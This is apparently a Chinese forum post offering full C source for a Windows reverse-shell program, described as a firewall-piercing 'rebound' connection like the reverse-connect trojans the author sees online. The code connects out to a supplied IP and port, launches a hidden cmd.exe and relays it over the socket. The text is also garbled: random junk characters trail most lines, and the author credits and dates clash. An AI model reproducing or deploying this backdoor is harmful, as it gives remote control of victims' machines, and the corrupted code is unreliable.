这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3>[_2}l
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/* ============================== EwSE;R -
Rebound port in Windows NT fP41B
By wind,2006/7 jk0Ja@8PK
===============================*/ Qrt[MJ+#
#include 5feCA ,v7
#include -[kbHrl&
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#pragma comment(lib,"wsock32.lib") \R>!HY
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void OutputShell(); 8oI)q4V
SOCKET sClient; ,+0>p
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z8\c'xN
sR`WV6!9
void main(int argc,char **argv) Z5/g\G[
{ :tu_@3bg-
WSADATA stWsaData; V$Y5EX
int nRet; 1mw<$'pm0
SOCKADDR_IN stSaiClient,stSaiServer; j HT2|VGb*
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if(argc != 3) }.<%46_Z-
{ p]*BeiT#n%
printf("Useage:\n\rRebound DestIP DestPort\n"); utq*<,^
return; Ly?yWS-x
} f`X#1w9
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WSAStartup(MAKEWORD(2,2),&stWsaData); gt3;Xi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |okS7.|IX
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stSaiClient.sin_family = AF_INET; Xp]tL3-p
stSaiClient.sin_port = htons(0); %(`4wo},
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %2=nS<kC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :%Dw3IrOM
{ h<oQ9zW)
printf("Bind Socket Failed!\n"); ^F<[5e)M
return; N{@kgc
} s}Q%]W
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3Q^@!hu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;8UHnhk_O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6KmF 9
{ zV {[0s
printf("Connect Error!"); q2}<n'o+
return; ~:."BA
} mqGp]'{
OutputShell(); |y@TI
} /U[Y w)
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void OutputShell() B[^mWVp6L
{ r=dFk?8XbC
char szBuff[1024]; DoA4#+RU
SECURITY_ATTRIBUTES stSecurityAttributes; V)\|I8"
OSVERSIONINFO stOsversionInfo; Dqu1!f
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2s,wC!',
STARTUPINFO stStartupInfo; F|X-|Co
char *szShell; )+[IR
PROCESS_INFORMATION stProcessInformation; sbOa]
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unsigned long lBytesRead; %&9tn0B
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a3]'%kKp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y;>0)eP
stSecurityAttributes.lpSecurityDescriptor = 0; A(#hyb#
stSecurityAttributes.bInheritHandle = TRUE; 6Gjr8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R,01.N( U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |r5|IA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N4"%!.Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s,ZJ?[/
stStartupInfo.wShowWindow = SW_HIDE; 0Ph,E
stStartupInfo.hStdInput = hReadPipe; LjjE(Yrv{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b#|M-DmT
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GetVersionEx(&stOsversionInfo); iUqL /
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switch(stOsversionInfo.dwPlatformId) S|Wv1H>
{ vBQ|h
case 1: ;7&RmIXKh'
szShell = "command.com"; Zr'VA,v
break; XbYW,a@w2
default: z=vfP%
szShell = "cmd.exe"; [-_u{j
break; MT BN&4[
} ? e%Pvy<i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); XX~~SvSM
while(1) 9f;\fe
{ e.n&Os<|<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `TKe+oS)
if(lBytesRead) #Zk6
{ ^,'!j/w5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jR\&2;T
send(sClient,szBuff,lBytesRead,0); lM"@vNgK
} K[PIw}V$?:
else q(i|
{ $/nU0W
lBytesRead=recv(sClient,szBuff,1024,0); 4&~1|B{Z
if(lBytesRead<=0) break; #0"Fw$Pc
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3,e^;{w
} Y<%$;fx$Sx
} WMZ&LlB%
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return; qYZX,
x
}